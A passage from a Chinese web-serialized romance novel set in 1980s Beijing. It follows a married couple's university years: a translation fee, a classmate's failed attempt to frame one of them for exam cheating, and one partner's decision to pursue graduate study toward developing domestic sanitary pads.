李姐笑着开口:“不是我说,小季,你平时在实验室看着可不是现在这样子啊。” 其她人附和:“对啊,小温,你告诉姐姐们,到底是怎么把她教成这样的。” 平时这人高高瘦瘦,在实验室里正经得要命,看着像是和妻子在一起也都冷冷清清的模样,她们知道季白青结婚了偶尔还会讨论她们妻妻之间的相处模式。 没想到原来的猜想都是错误的,在妻子面前,季白青看着和平时的模样一点都不沾边。 温柔又贴心,好像还会……撒娇。 真是活久见。 季白青的唇角挂着笑,有些无奈:“在老婆面前和在实验室里能一样么。” 见还有人想说话,她换了个话题,举起手里的饮料对于景丈夫开口:“师爹,今天辛苦你做这么一桌子的菜了,我敬你一杯。” 说着,其她人也纷纷举起杯子和于先生碰杯。 喝了一口杯子里的饮料,温淼悄悄看了眼季白青,唇角翘起。 吃完饭后,几个学生帮忙将客厅收拾好,没坐多久就陆续离开了。 出了于景家,温淼和季白青回了家。 躺在床上准备午睡,温淼不是很困。 季白青感觉到她的动作,撑开眼皮,打着哈欠在她的后背拍了拍,问:“吃饭的时候她们吓到你了?平时做实验都要沉稳,所以生活里大家都闹腾了一点。” 温淼摇了摇头:“没有,我知道她们都不是坏心眼的,只是有点不知道有些问题该怎么回答才对。” 就比如说她们问怎么将季白青教成现在这样。 在她认识季白青以来,对方一直对她都这么好才对。 她都想不到季白青冷漠对她会是什么样子。 当然,对方生她的气的时候除外。 宠是真的很宠,生气起来也是真的冷淡。 想着,她往人的怀里蹭。 软绵绵地问:“你怎么对我这么好?” 季白青听着这话,总觉得有些耳熟,也不知道是不是她经常问。 虽然有些困,但她还是耐心回答:“想对你好、喜欢你,还能有什么原因。” 她的眼神放软了几分,想到了第一世时的温淼,轻轻在人的额间亲了一口。 “要是真的要一个具体原因的话,那是因为你对我也很好。” 以前没有记忆,她在一见到温淼的时候就对她带着天然的好感,原本以为这只是见到了书里喜欢的角色想要和她做朋友的心态,结果相处着两人的关系就发生了变化。 她对温淼哪里是友情,明明是喜欢得不得了了,用身体的本能去对她好罢了。 温淼也拧着眉想两人初次见面的时候,明明那时候她对季白青的态度也并不是多好,甚至还因为她村支书女儿的身份想要利用她。 这么一想,那个时候的她还挺过分的。 以前的事温淼也不想拿来重提,只是轻声道:“以后会对你更好的。” 季白青听得心软,困意散了些,将人拢紧。 “知道了。” 或许是被季白青的困意传染,温淼眼睛闭了一会儿,很快就睡着了。 下午时间,她们又一起去了趟菜市场,在卖鱼的小摊上将剖开的鱼肉的内脏买了回来,埋在蔷薇周边的地里。 随后又拿着简单将枝叶都修剪了一番。 要说这个院子里除了温淼,季白青最宝贝的就是这一院子的蔷薇丛了,平日里不小心枯死一颗都要心疼好久。 自从她在这久住之后,负责打理的人就变成了她,偶尔她没空的时候换成温淼。 现在院子里的蔷薇丛葳蕤,长势十分讨喜。 妻妻俩简单过了一个周日,第二日又要分别,各自回学校。 昨天晚上,季白青特意花时间做了饼干,一共两盒,其中一盒是给温淼拿到学校去和舍友分着吃。 温淼上完了一天的课后,晚上九点回到宿舍,将柜子里放着的另外一盒饼干取了出来,给孙程程她们分。 孙程程刚见她拿出饼干盒就双眼发亮,她开口问:“是不是你家季白青给做的东西。” 温淼点头,让宿舍每个人都拿了几块。 季白青做的是坚果乳酪饼干,温淼尝了一块,还挺喜欢。 可不能多吃,怕吃多了嗓子发炎。 为此,季白青给她装了些自制的花茶,让她能够记着多喝一点水。 苗欣将看起来平平无奇的饼干吃了一口之后,瞬间竖起大拇指。 “真好吃。” 她开始幻想:“如果我也能够找到一个厨艺这么好的老婆就好了。” 温淼看了她一眼,抿唇笑道:“就你这样天天在宿舍不出去社交,怎么认识女朋友?” 苗欣理直气壮:“那是因为缘分还没到,缘分到了挡都挡不住。” 她咂了咂嘴,下一秒又觉得自己说的话确实跟做梦似的,有些沮丧地叹了口气:“还是我自己学厨艺做给自己吃的可能性更大。” 温淼在一边煞有其事地点头:“像我老婆这么好的人你打着灯笼都找不到的。” 苗欣扑过去掐她的脸蛋:“好啊你个温淼淼,在这里秀恩爱是不是!” 孙程程也被气得有些牙痒痒,和苗欣一起对温淼上下其手。 最后温淼被两人合力挠痒痒,笑得快要喘不过气。 她只能投降,喘着气道:“我、我错了,以后再也不说了!” 苗欣看着明眸皓齿的温淼,拍了拍手,又叹了口气。 “就算没有季白青那么好的老婆也行,我要一个温淼这么漂亮的,最好还和你脾气一样好。” 刚才并没有参与打闹的韦桂英道:“睡吧,梦里什么都有。” 其她几人闻言都笑出了声来。 第二天,宿舍里的人都纷纷给温淼送了些吃的。 她们宿舍的关系一向都很好,虽然不会计较这些,但也不喜欢占她人的便宜,一向都是有来有往。 在学校的日子一天天过去,温淼上课、翻译校对,每天都过得很充实,时间便显得过得格外的快。 在十一月末,温淼已经将她所翻译的文学书籍校对好了,上交给老师审查后,很快通过了院系和学校的审批,学校上交给了外事部门,等着最后一级的审批通过后就可以出版了。 温淼其实还挺期待,这是她真正意义上翻译的第一本书,一共二十多万字,并不算多,在她心中也占着不轻的分量。 虽然她心里对此已经有了足够的把握,但是难免还会存着一两分的担心。 她想要看到她翻译的书籍出版,不希望出现什么意外。 最后一门专业课结课考试之前,义老师再次将她叫到了办公室。 温淼能够猜到几分原因,大概是出版社那边的审核结果已经出来了。 进了办公室后,看着义老师笑盈盈的脸,温淼的心里松了一口气。 看她这样子,不像是审核没有通过。 果不其然,义老师在见到了她后的第一句话就是:“温淼,有个好消息。” “出版社把你的翻译稿件审核一遍之后没有发现什么问题,还夸你翻译得流畅又雅致,下次有机会还找你。” 闻言,温淼露出了笑。 “那就好,我还担心会不通过呢。” 义老师嗔了她一眼:“哪能呢,我们专业的老师可是一一核对过的,都夸好呢,能有什么大问题。” 说着,她将一张单子拿了出来,递给温淼道:“这是出版社开具的稿费通知单,你拿着去京市出版社的财务部门取钱就行。” 温淼看了一眼,稿费通知单上明确写好了稿酬,每一千字支付五块钱的报酬,此外还多出来一百块,是国家扶持项目下来的补贴。 加在一起有七八百块钱,耗时十个月左右,平均下来每个月也就七八十,虽然比不上季白青在实验室开的工资,但温淼也很满足了。 义老师见她盯着稿费通知单看,多解释了一句:“现在没有恢复印数稿酬,所以少一点也是正常的,而且你第一次翻译这么多内容,速度慢一点很正常,习惯之后,速度就会慢慢赶上来的,以后的稿费就多了。” 温淼点了点头:“这段时间麻烦老师你们了,多谢义老师。” 义老师摆了摆手:“这么客气干什么,行了,你先回去吧,以后还有项目我再和你说,你和林春晖这次真的是给我们专业长脸了啊,等你们翻译的书出版了,我买两本,逢人就说这是我学生翻译的。” 温淼有些不好意思:“这还是多亏了老师的教导,那老师我先回去了。” 她出了办公室,正准备下楼,却在走廊和人错身的时候被人重重撞了一下。 手上拿着的稿费通知单随之落在了地上,温淼皱着眉,捂着发疼的左肩揉了揉,蹲下身想要将单子捡起来。 然而有个人却比她更快,两根手指捻着单子看了一眼,看清楚上面的内容后,面色不大好,随后手指一松,单子被他扔垃圾似地轻飘飘地落下。 卫时务阴阳怪气道:“哟,这不是我们未来的大翻译家,终于拿到稿费了?” “也对,这点钱对你来说应该也是巨款了,恐怕你就指望着这点过活呢,真不知道是怎么被老师选上的。” 温淼站直身体,终于看了他一眼。 “你刚才撞了我,道歉。还有,帮我把东西捡起来。” 温淼走路都快要贴墙走了,不可能是她主动凑上去的。 卫时务听了她的话后,不屑一笑:“你是谁?我为什么要听你的?” “我是谁不重要,重要的是你撞了我,我是受害者,你需要向我道歉。” 卫时务双手抱胸,态度傲慢:“我不道歉你又能够怎么样?” 温淼看着他,后知后觉意识到了和季白青在一起之后自己的脾气确实是好了不少。 至少在以前,从来没有人敢这样挑衅她。 她扯唇一个笑,一向明媚的桃花眼中沁着寒冰似的冷。 趁着卫时务没有反应过来,她想着以前温向荣交给她的护身招式,一脚干脆利落地踹向了对方的膝盖。 膝盖处猛地一疼,卫时务猝不及防遭受一击,不受控制地往前踉跄了一步,跪倒在地上。 温淼将稿费通知单捡起来,“没想到你不嘴上道歉是想要给我行个大礼,我就受下了,卫同志。” “你!” 卫时务有些狼狈地抬头看着她,刚想要说什么,女人就毫不犹豫地转过了身。 他气急败坏的声音在温淼身后响起:“我爸是部队的团长,我不会放过你的!” 温淼眼皮都懒得抬,只想要快点远离这个疯男人。 回到了宿舍,孙程程主动来问她手上拿着的是什么东西,她们宿舍都知道温淼参与了翻译书籍的项目,温淼便如实开了口。 想了想,她道:“今天大家都有空吗?有空的话,我请大家去国营饭店吃个饭。” 其她人自然是拍手叫好,这是好事,更何况还能蹭一顿饭。 巧的是,中午到了国营饭店,刚坐下,孙程程凑近温淼对她道:“看到卫时务那个蠢货了,他怎么还和义老师坐在一起?” 温淼往她所指的方向看了眼,卫时务他们那一桌一共有三个人,他、义老师、还有个国字脸的中年男人,大概是卫时务口中的团长爸爸,桌上摆着满满当当的菜,三个人吃都算浪费了。 她摇了摇头,表示不知道。 “你们想要吃什么?我去点。” 将几个菜名记下来之后,温淼去柜台点菜。 给了钱票后,再坐回来的时候,义老师站起身来,明显是也看到了她们,便向她们走来。 “好巧啊,你们在这吃饭呢?”义老师对温淼使了个眼色。 想到那对父子,温淼敛眉,询问道:“老师,跟我们一起吃饭吧,刚好我们想要多点一个菜,但怕吃不完。” 其她人见状也都纷纷点头,“对啊,义老师,你就坐下吧。” 两桌离得并不远,温淼一眼就可以看到卫时务难看的脸色。 义老师对卫时务父亲开口:“卫同学爸爸,我这么多学生在这,都是些小姑娘,我不放心,还是和她们一起吃饭吧,你们父子俩多吃点。” 卫时务父亲道:“义老师,这……那我家时务也想去翻译的事……” 温淼还在这,他爸就这样大喇喇地将话说了出来,卫时务的脸颊瞬间涨红:“爸!” 韦桂英毫不犹豫地嘲笑道:“你还走后门呢。” 义老师的面色严肃起来:“卫同学爸爸,卫时务同学,我已经和你们强调过了,这个是需要挑选最符合要求的同学,卫时务同学虽然是专业前几,但还是有所不足,所有人的机会都是公平的,并不是和我多说几句话就能被选上的事。” 温淼淡淡看了眼卫时务,不做任何评价。 卫时务却无端觉得从她的眼神里看出来几分嘲意。 他攥住了拳头,手上的青筋暴起。 吃完一顿饭后,温淼也没将卫时务放进心里。 再过几周,到了最后一门课英国文学史的考试。 这一门专业课的难度比起以往的都要更大,在考试前一晚,苗欣她们生怕自己考不到八十分以上,通了个宵将专业书籍看了好几遍。 去考场的路上,孙程程还在念叨:“糟了,刚看了那么多,怎么全都记不住了。” 温淼安慰她:“别太紧张,放轻松,考试的时候看着题目去回想就好。” 到了考场之后,没多久监考老师就来了,将试卷下发,教室里安静下来,只能听见翻页声和沙沙的写字声。 英国文学史温淼复习了几遍,对里面的内容都记得很清楚,不过五十分钟的时间,就已经将题目做完顺带检查了一遍。 她将站起身来,正要将试卷交上去,安静的教室忽然炸开一声惊雷。 “老师,我要举报温淼考试作弊!” 闻言,所有人的目光都落在了站着的温淼身上。 有震惊也有怀疑。 温淼皱着眉,看了刚才开口的卫时务一眼。 两个监考老师都是专业课的老师,自然也认识温淼。 这话一出,她们看了一眼温淼,第一时间自然是相信她的。 “同学,说别人作弊是要有证据的。” 卫时务指着温淼脚下:“温淼的脚下有纸条!” 监考老师看向温淼脚下,温淼将鞋挪开后,原本站着的地方还真是一张纸,也不知道什么时候出现的。 老师捡起来看了眼,上面密密麻麻地抄着英国文学史书上的内容,都是这次考试考到的。 见教室里瞬间嘈杂几分,老师皱起眉:“安静,写你们自己的。” “温淼和卫时务跟我出来一下。” 让另外一个监考老师监考,她拿着纸条,让两个学生带着试卷跟她去了办公室。 到了办公室,看着面前的两个好学生,老师有些头疼。 她最先问温淼:“温淼,说实话,你作弊了吗?” 温淼摇了摇头,目光坦荡:“老师,我没有,但我怀疑是卫时务想要污蔑我,还请您一定还给我一个清白。” 闻言,卫时务冷笑一声:“我亲眼看着你打小抄作弊了,还我污蔑你!” “我就说你怎么每次考试都能第一名,原来都是靠作弊得来的。” 温淼问:“你有什么证据证明?就一张纸条?如果我作弊了,那为什么就你看到了?还有你考试的时候为什么要看我?不会是想抄我答案吧。” 她一番话让卫时务一时间有些卡壳,他结巴一下:“我、我怎么可能要抄你的,我又不是不会写,我只不过是好奇你写到哪了,结果一看你,就看到你在抄小抄!” “别人没看到是因为都在认真地做题,我哪知道我怎么一看就看到了。” “老师,不信的话,你可以对比一下小抄上的字迹,和温淼的字迹一模一样。” “温淼作弊,这种道德败坏的人学校一定要把她开除。” 老师讲小抄和温淼试卷上的答案对比一番之后,发现还真一样。 她看着温淼,有些欲言又止。 “温淼,这是怎么回事?” 虽然她心中的天平还是倾向相信温淼,可这证据明晃晃地摆在了眼前,即使难以置信也不得不提出疑问。 温淼看了一眼上面的字迹,心想,卫时务还真是有备而来。 她道:“老师,我不用打小抄,英国文学史的教科书内容我已经背下来了,不信的话你可以随意抽背一篇。” 老师闻言,半信半疑地将教材抽了出来,抽了几篇,无一不被她流利地背出来。 就连最角落老师没有精讲过的内容她都记得。 抽背完之后,老师松了一口气。 “卫时务同学,现在你相信这只是一场误会了吧,老师们都很了解温淼,她不可能作弊的。” 听了这话,卫时务的手紧紧攥成了拳。 他咬牙道:“那小抄上她的字迹怎么说?” “她既然打小抄,那肯定代表着她害怕自己忘记。” “刚才提问的都能够背出来不过是运气好一点而已。” 永远叫不醒装睡的人。 老师一时间不知道该怎么劝说卫时务相信,看着温淼的眼神有些愁。 温淼对上她的视线,也不想让她夹在中间为难。 将纸条上和试卷上的内容对比一下后,她明确指出:“老师,这个字母a我写的尾巴都是翘起来的,但是小抄上是平直的,这不是我的书写习惯,可以根据我的日常作业来对比。” “我看着每个字母的书写习惯,倒是和卫时务的更像,每个字母末端都是平直的。” 老师对比了一下,还真是。 她默默地看着卫时务,眼神里充满怀疑:“卫时务,这你该怎么解释?” 比起卫时务,老师还是更相信温淼。 卫时务没想到温淼能发现这么细枝末节的东西。 他面色慌乱一瞬,语气已经不像是刚才那么中气十足:“我、老师我……” 温淼又多看了他的试卷一眼,道:“老师,我看他的回答大概是和参考答案高度重合的,没准他还提前偷看了试卷。” 闻言,老师彻底愣住。 她忽然想起刚才进考场前发现牛皮纸袋的系扣并没有那么牢固,还以为是另一个监考老师提前翻看了试卷是否有印刷错误。 联想到这一点后,老师落在卫时务身上的视线就越发怀疑。 卫时务的呼吸急促,指着温淼彻底暴怒:“你这么说又没有证据!你这是污蔑!” 温淼耸了耸肩,毫不在意道:“我不是猜测而已,又没有一锤定音,你急什么,除非你是真做了,不然怎么会这么急。” 老师也在一边帮腔:“是啊,卫时务你别着急,做了就是做了,没做就是没做,如果真作弊了,还要该老实交代的。” 温淼将小抄上和卫时务试卷上下笔相似的地方勾出来,推给老师看。 “老师,总之这一份小抄不可能是我抄的,我也不知道为什么会出现在我凳子下面。” 老师点头:“我理解你,也相信你不会作弊的,其中肯定是有什么误会。” 她看了眼卫时务,心里已经有了大概的答案,用办公室的电话给卫时务的家长打了个电话,又给温淼家长打了个电话。 她抽出另外两套试卷给两个人:“已经叫了你们家长了,待会儿就过来,你们先做着题,这一套题的答案当做是最后的成绩。” 这刚好是更有难度的题目,和这次考试的题目完全不同,之前觉得出难了便没有用上,现在正好。 温淼点头,坐下之后丝毫不受干扰地开始答题。 一个小时过去,温淼将试卷给了老师。 再去看卫时务,他的试卷上空着大半没有填写,面色焦急,显得有些心不在焉的。 老师心里有了大概的打算。 没多久,卫时务的父亲来了。 国字脸的男人来进到屋里之后,就扫了温淼一眼,厌恶道:“你一个女同志妖妖艳艳的,听说还作弊了,有没有家教,你家长是怎么教的?” “多亏我儿子发现了,不然还真*让你逃过一劫。” 老师在一边有些尴尬地解释道:“卫时务家长,不是这女同志作弊了,是你儿子污蔑人家作弊,而且你儿子作弊的可能性更大。” 闻言,国字脸一愣,随后立即反驳:“我儿子这么优秀,怎么可能作弊!” 老师耐心解释:“这位女同志是我们年级第一,作弊的可能性几乎没有,而且刚才让她们重新做了一套试卷,卫时务的试卷基本上都是空白的,但温淼同学的基本都正确。” 国字脸立马看向卫时务,卫时务缩着头作鹌鹑状,不敢和他对视。 他胸口起伏,最后强势开口:“那也不能排除这女同志作弊啊!上次我就看她请老师吃饭,结果这次又闹出这种事,真是不知道家里怎么教的。” 话音刚落,还不等老师开口继续解释,办公室的门再度被推开,一道威严的声音传来:“是我教她礼义廉耻,可不像是你儿子这样,你如果有什么不满意的大可和我说。” 国字脸一抬头正想反驳,在见到了来人之后瞳孔骤缩。 “首、首、首首长!” 他露出谄媚一笑:“温首长,你怎么来了?” 在听到他爸叫来人温首长之后,卫时务的脸一白。 温向荣看着国字脸,淡淡道:“我是你口中的妖妖艳艳的女同志的家长,你问我怎么教的,我还想问问你怎么教的你儿子!” “在部队里学的东西都进到狗肚子里了?!” 大冬天的,国字脸一张脸被憋得闷红,满头大汗。 他点头哈腰,连忙道歉:“是我狗眼看人低,温首长您别和我计较。” “臭小子,快和人家女同志道歉!” 卫时务抿着唇,固执地摇头。 国字脸直接一巴掌甩在他脸上,沉声道:“道歉!” 在自己最讨厌的人面前被打,卫时务的呼吸一滞,身体都在发抖。 但是他爸威胁的视线还落在他身上,他哆嗦着身体,磕磕巴巴道:“对、对不起!” 温淼看着他问:“是不是你抄的纸条。” 卫时务下意识不想承认,又被国字脸一个大耳刮打下来,彻底老实了。 他灰败着一张脸,小声道:“是我。” “你作弊了吗?” 卫时务摇头,不敢承认。 温淼看向老师,开口道:“老师,这一套试卷很多地方都是复习就知道的知识,他一点都不知道,作弊的可能性很大,如果可以的话,需要去搜搜他的宿舍。” 闻言,卫时务的脸色瞬间变得惨白,他拒绝:“不、不行,我是作弊了,但是你们不能搜我的东西!” 国字脸又给他一巴掌:“女同志想搜就搜,你推推搡搡的要干什么!有不有个男人样。” 国字脸现在一看到站在温淼身后的温向荣就心里发慌,他怎么也没有想到儿子同学的家长竟然还有这么个大人物。 温淼看向老师,将刚才卫时务所说的话原封不动地搬了回去。 “卫时务作弊,这种道德败坏的人一定要把他开除。” 她顿了顿,又添了一句:“他还设计污蔑我,情节更严重。” 温淼所说的话确实也没错,老师被夹在中间,最后也抹了一把汗。 她解释道:“作弊不能开除学籍,不过这一门课确实要做零分处理,此外还会另外记过。” 温淼点头,她无意让老师难做,说刚才那番话不过是想要吓吓卫时务而已,现在看着他的脸色,目的显然是达到了。 温向荣看着国字脸,淡淡道:“卫团长,你身为团长,更应该以身作则才对,以后别让你儿子再走歪门邪道了,一点也不踏实。” 国字脸满头大汗地点头,揪着卫时务的耳朵把他带了出去。 事情就这样被解决,考完试后温淼推迟了一周的时间回去,第二天就听见从卫时务宿舍传出来的消息。 原来是听说卫时务作弊之后,他舍友不服气地翻找证据,结果却发现他的笔记本上几乎每一页都写了“温淼去死”的字样,看起来像是中了魔。 没过几天,又很快又传来了卫时务退学的消息。 在过年的时候,温淼才将这件事说笑般说给季白青听。 听她说完之后,季白青一愣,揉了揉温淼的头,夸赞道:“老婆真厉害。” 一个人就能够对付想要陷害她的人。 她眼睛微微眯起,心想温淼这么优秀,确实也就只能够让那些人忮忌了。 不过那些诅咒听起来可真是够恶毒的。 学校里到底还是正常人居多,不正常的离开之后,季白青和温淼的大学生活变得更加顺利了一些。 一年的时间弹指而过,在1980年,大三下学期,季白青终于将专业课的学分修满,加上她积极参与研究和比赛,三年间有着不少研究发明,也发表了十几篇论文,在这些加成之下,现如今已经到了毕业的门槛。 原本她的计划是直接就业,但于景还是在得知了消息的第一时间将她叫到了办公室。 季白青一看着笑眯眯的于景就觉得有些瘆得慌,每次她这个表情就是要分配什么艰难的任务给她,虽然她马上就不用听她指令了,但总之一看她这表情就觉得没什么好事。 她沉默一会儿,直接开口:“老师,有什么事你直说,我去干。” 她默默道,反正也就给她帮忙最后一段时间了。 于景也没有和她多客气,直接了当道:“你想读研究生吗?刚好今年我开始带研究生了。” 季白青:“……不了吧。” 这个真干不了。 她婉拒道。 于景知道她会拒绝,心平气和道:“你说说,你毕业之后想去干什么,进实验室继续搞研究还是留校当老师?” 季白青眼睛发亮:“都不是,我要去和朋友合伙做买卖赚钱。” 于景:“……” 她捂着胸口,差点一口气没喘上来。 “你、你你你……” “你怎么满身铜臭味!” 谁家专业第一、科研未来之光满心满眼都是要赚钱! 季白青满脸坦然地看向于景:“对啊,上大学不就是为了以后有出息赚钱养家吗?” 她笑眯眯道:“老师,我还有老婆女儿要养。” 于景大骇:“……你什么时候弄出来个女儿?” 这些都不重要,季白青摆了摆手,随口解释:“我家猫。” “总之老师我应该不会再继续读研了。” 于景幽幽看了她一眼,问:“那你进实验室这么拼命干什么?我还以为你以后要走科研路线。” 想着以后见面的机会会少不少,季白青道:“我还是会干科研的,现在的目标是想要自己创立实验室,研发国内的卫生巾。” 她道:“我们国内的女性群体这么庞大,基本每个女性都会来生理期,如果一直用月经带的话那太不方便了,也不是特别卫生,我有研发卫生巾的想法挺久了,有关的研制都需要我去主动了解,所以大学时期我才参与了那么多科研项目。” 闻言,于景一怔,没有想到她居然还有这样的想法。 倒也不惊讶,毕竟她知道季白青一直都很有个性。 于景也坦然道:“外国的卫生巾确实比月经带要方便卫生,但你要想,现在国内的技术不成熟,你没有一个参考的前提,摸着石头过河是很难淌过去的。” “白青,这条路走好了很成功,但要成功很难,所以也注定了这条路很苦。” 历史上,成功的人向来都占少数,谁都不能确定她就能成功。 于景不能,季白青也不能。 听了老师的话,季白青笑了笑。 其实比起嘴上说的想要靠着创业赚钱,她实际更加理想主义。 在二十一世纪时,各大品牌卫生巾出问题危害女性健康的事件屡见不鲜,现有条件下,她想要研发卫生巾,与其说是为了赚钱,她更多的是希望为女性做好在卫生方面的保障。 反正钱,她暂时不缺,技术也有了部分。 她现在要做的不过是多去摸索、实践,前路并不确定,但大不了她就跌倒了再爬起来,只要摔不死,季白青还是想尝试。 实在不行,她还能薅陆霁和李从瑾的资助,反正两个人都这么有钱了,给她一点不过分吧。 她是女人,她老婆也是女人,交好的朋友都是女性,她想要为她们的生理期提供安全保障。 所以,她回答于景:“老师,我不怕苦,我不看过程,只想要一个好的结果。” 于景定定地看着她,沉沉叹了一口气。 “你要坚持的话,我不劝你,白青,你比很多人的目标都要明确,志向远大。但既然如此,我倒是认为你更需要读研了。” “读书使人明智,你在大学学到的知识不过是冰山一角,读研可以有更多的机会去接触更大的实验,我也能带你去多和研发卫生制品的老师多聊聊,去相关车间公司多参观参观。” “你的想法我支持,所以我也更希望你可以沉下心再多学两年,你这么厉害,研究生毕业也不过是一两年的事。” 听了她所说的话,季白青微微思考了一番。 原本这几年的计划和于景所说的话相冲突,老虽然师说的话有道理,但季白青也不可能为此立马就改变想法。 她沉吟一会儿,认真地看着于景:“老师,这件事我需要仔细考虑考虑,可以给我一点时间吗?” 没有直接拒绝就是最好的结果,于景笑呵呵地点头:“想吧想吧,可以去问问淼淼的意见。” 季白青点头,在回去的路上也一直在想着这件事。 到家的时候,温淼正在书房里对照着原文校对翻译。 这一年的时间,她翻译出来的文学作品得以出版,在市面上获得了不少好评,所以出版社又联系她签了一本英文作品的翻译合同,今年恢复了印数稿酬,后续给她的稿费按照字数和印发册数计算,能比她出版的第一本翻译的稿酬多不少。 到了大三后,课业提前结束,在家的时候更方便,她便回来住了。 季白青回到家,将书房的门打开,默不作声坐到了温淼的身边,将人抱住。 突然多了个长手长脚的人来粘着自己,温淼的笔尖一顿,在书上做好记录,侧目看向拧着眉头的青年。 伸出手将人的眉心抚平,她声音温和询问:“这是怎么了?怎么看起来有点不高兴?” 季白青摇了摇头,纠正:“不是不高兴,只是有点纠结。” “嗯?”温淼有些疑惑,“纠结什么。” 季白青在她身上蹭了蹭,将刚才在于景办公室的谈话说给她听。 “原本订好的计划被打乱,我有点没有安全感,也担心在中途突然生出变故。” “但是老师说的话确实很有道理,我都想不出拒绝的理由。” 温淼摸摸她的头发,“那就去读。” “阿青,我决定不读研是因为我觉得我所掌握的专业知识已经够用的,但是你不一样,我一直觉得你们专业特别广阔浩大,更多的知识你应该去了解,以后毕业,你自己创办实验室也能更有经验。” “计划不是被框死的,你可以随机应变,哪怕一边读研一边尝试研发卫生巾也没有问题。” “如果不试试,怎么能知道你行不行?” 温淼的话像是沙漠中突然冒出来的清泉,让她突然清醒过来。 她说得对。 与其担心这么多,那还不如去尝试。 季白青有些任性地想,大不了不行的话就退学好了。 她在温淼的身上蹭蹭,声音软绵绵:“老婆,你真好。” 温淼笑着拍拍她的脑袋瓜:“想做什么就去做,你的身后还有我、有温家。” 季白青险些被感动得泪眼汪汪,当天晚上以身体回报,将温淼服侍得舒舒服服。 第二天,温淼还没醒,她一大早让陈晴温着温淼的那份早饭,她则是吃完她的那一份后就跑去了学校,和于景说她愿意继续读研的消息。 于景听到她的话之后乐不可支,连忙让她填了一系列的报名材料,以免她之后突然后悔。 在1981年三月,季白青开始了她在于景手下读研的生涯。 除了上专业课之外,于景经常拉着季白青一起讨论用各种材质做卫生巾的可行性。 虽然占了季白青不少课余时间,但是不得不说,讨论是有效的,季白青脑海中关于卫生巾的研制方案越来越清晰。 她像是一块海绵,疯狂的汲取着专业中相关的知识,此外,在课余时间也参与了多项实验,发起组织研制了不少科研产品。 要么就是去于景熟悉的卫生产品车间参观学习。 在1982年六月,因为有多项的科研项目和专业论文加身,季白青得以提前研究生毕业。 今年,季白青二十六了。 二十六岁的季白青与二十一岁的季白青比起来,褪去了青涩,却一直自信昂扬,素白的脸上缀着两颗黑宝石似的明亮眸子,粉唇抿起来的时候显得有些不近人情,但笑起来却分外生动。 看着自己的得意门生,于景觉得有些欣慰。 她对拿着相机的温淼道:“淼淼,来帮我和白青拍几张合照。” 手下唯一一个敢和她呛声的学生毕业了,想想于景还是觉得有些不是滋味。 温淼闻言点了点头,让季白青过去和于景站好,看着师生两人摆好了姿势之后,她举起相机,在一旁指导着拍了不少照片。 今天学校举行毕业典礼,她特意将家里存着的彩色胶片带了十卷出来,想要将她此时的样子拍下来,留着以后再看。 于景和季白青拍完合照之后就急匆匆地离开了,她晚点还有课。 见着人离开,季白青抱着怀里的一束黄灿灿的向日葵,朝温淼的方向跑过去,将人抱住。 温淼推了推人:“还要和谁拍合照?” 今天一天,她已经帮着季白青和她舍友、老师和学姐学妹们都拍了一遍了。 季白青看着她开口:“和你。” 两人今天都还没有拍照,这么重要的日子里,怎么可能少了她俩一起的照片。 说着,她将坐在草坪上的温淼拉了起来,恰好在一边看到了程书意,便招呼道:“学姐,麻烦你给我和淼淼拍几张合照。” 程书意现在不过时研究生二年级的学生,而季白青都毕业了,按理说已经是季白青的学妹了,不过季白青都叫习惯了,叫学姐也更为自在。 程书意接过了相机,操作着对准两人,看着镜头里面十分相配的两人,她心里还是有些感叹。 两人真是,感情一如既往的好。 都不吵架的么? 她的拍照技术挺好,拍下的几张都好看,又指导着两人摆了些俏皮的动作,最后将相机塞回季白青手里,有些无语。 “行了,看你们秀恩爱看够了,我回去看书了。” 季白青对她摆了摆手:“学姐再见,下次请你吃饭。” 傍晚边回到家的时候,两人都有些累,体力几乎被耗尽。 晚上,洗完澡,季白青跟条咸鱼似地躺在床上,等着温淼洗漱回来。 听到了开门声,她终于支起了脑袋,看了眼温淼。 温淼走到床边,将手上的蓝色小本放在她小腹上。 季白青拿起来看了眼。 是存折。 她有些疑惑:“给我干什么?” 家里一向都是温淼管钱,季白青不怎么花钱。 温淼柔声道:“这是毕业礼物。” 大学毕业之后,温淼就留校当了老师,此外还兼职做翻译。 她翻译的几本书籍最后无一不畅销,最少的都印发了五万册,稿费和工资加起来有不少,温淼没花,都存在了这张存折里。 现在给季白青正好。 上面有两万多,算是一笔巨款。 “家里其它的钱都放在箱子里,需要就去拿,用来做你想做的事。” “阿青,毕业快乐。” 【作者有话说】 我们喵可真好啊 感谢投雷营养液,感谢评论订阅收藏[三花猫头]如果还有错字的话明天起来改! 130-135 第131章 ◎七年之痒◎ 看着手上拿着的存折上面所印着的数字,原本还觉得轻飘飘没什么重量的小本此刻季白青却感觉到沉甸甸的分量,沉重地压在她的身上。 季白青在这个时候总是控制不住过于感性的情绪,长睫很快被雨雾打湿,睫毛往下压,她隔着一层水汽朦朦胧胧地看向温淼。 温淼见她一下又成了泪眼婆娑的模样,一时间无奈得很,只能耐下心来开口哄人: “干什么?不就是两万块钱,你赚的不是比我多多了?” 这几年,不算季白青在实验室帮忙的工资,光是陆霁每个月给她们源源不断地送过来的分成都不少。 多的时候有七八千,少的时候也有几百,现在大概也有五六万了,季白青把钱给她管着的时候可从来都没有心疼过。 季白青反驳:“这当然不一样,这可是你辛辛苦苦赚的钱,还存了那么长的时间!” 对她来说,这其中最为宝贵是温淼的那份心意。 温淼弯起唇:“那你可别对不起我的辛苦,钱就是用来花的,拿着钱好好用,无论是用在研发上还是买设备上我都很开心。” “别舍不得花,知不知道?”她叮嘱道。 季白青看着她,毫不心虚地点头。 要说让她别舍不得,那她肯定还是会舍不得的,不到最后,她不会用。 温淼揉揉她的发丝,夸她:“阿青好乖。” 虽然没真准备乖乖地听话,但是季白青还是理不直气也壮地接受了温淼的夸奖。 毕业后的那一周,季白青抽时间将学校里的东西收拾好带回家,又花了些时间和老师、朋友和同学辞别,这才真正地算是道别了校园生活。 饶是她自己也不会想到,她会上学上到1982年。 接下来的时间她做了个简单的安排和计划,在着手准备开始创业前将为卫生巾的生产制作方案也写了一份。 空闲下来的第一时间季白青先是去联系了陆霁,让陆霁来家里聚一聚。 见两人坐在客厅里准备商量事,温淼给她们倒了杯水之后本来是想要回书房工作,却被季白青拉着坐下。 她道:“走去哪?你在一边听着也可以给我们点建议。” 温淼眨眼,回答道:“可我又听不懂,而且你们商量这个不应该保密吗?” “听着就行,又不复杂。” 更何况她们本就是一家人,又没什么好保密避嫌的。 温淼只能坐下听她们说话。 季白青将自己写好的方案拿给陆霁看。 先前两人就一起商量过这件事,不过因为她继续上学,真正要实施的时间却是从两年前推迟到了现在。 